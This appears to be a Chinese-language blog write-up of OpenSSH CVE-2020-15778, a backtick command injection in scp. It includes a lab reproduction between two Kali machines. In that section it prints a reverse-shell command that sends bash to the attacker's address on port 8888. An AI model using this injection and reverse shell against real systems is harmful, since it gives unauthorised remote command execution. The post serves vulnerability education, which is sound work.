1. 程式人生 > 實用技巧 >Open SSH CVE-2020-15778

Open SSH CVE-2020-15778

Open SSH

OpenSSH 是用於使用 SSH 協議進行遠端登入的一個開源實現。通過對互動的流量進行加密防止竊聽,連線劫持以及其他攻擊。OpenSSH 由 OpenBSD 專案的一些開發人員開發, 並以 BSD 樣式的許可證提供,且已被整合到許多商業產品中。

漏洞簡介

研究人員 Chinmay Pandya 在 openssh 的 scp 元件中發現了一個命令注入漏洞。OpenSSH 的 8.3p1 中的 scp 允許在 scp.c 遠端功能中注入命令,攻擊者可利用該漏洞執行任意命令。OpenSSH 8.3 p1及之前版本中的scp的scp.c檔案存在命令注入漏洞。

scp介紹

scp 命令用於不同主機之間複製檔案和目錄。

scp 是 secure copy 的縮寫,是 基於 ssh 協議進行安全的遠端檔案拷貝命令。
scp 想要免密進行復制,需要傳送祕鑰給相應的節點。
scp 是加密的,rcp 是不加密的,scp 是 rcp 的加強版。

漏洞復現

攻擊機kali202001 ip 192.168.177.137

靶機 kali ip 192.168.177.128

複製當前目錄下的 exp.sh到、etc目錄下,同時執行新建passwd1.txt,在靶機中檢視etc目錄,新建檔案已經執行成功

進行埠反彈,同樣scp命令將可執行檔案傳入指定目錄,同時反引號扣住執行命令,監聽可執行語句執行結果:

bash -i >& /dev/tcp/192.168
.177.137/8888 0>&1

漏洞分析

在向遠端主機拷貝檔案時,檔案的路徑會追加到本地 scp 命令後,當執行本地 scp 命令時,scp 不會檢查、過濾和清除檔名。這使得攻擊者執行帶有反引號的有效 scp 命令時,本地 shell 還將執行反引號中的命令

漏洞修復

輸入以下命令檢視openssh版本

ssh -V

官方尚未釋出安全更新補丁,請密切關注廠商主頁獲取解決辦法。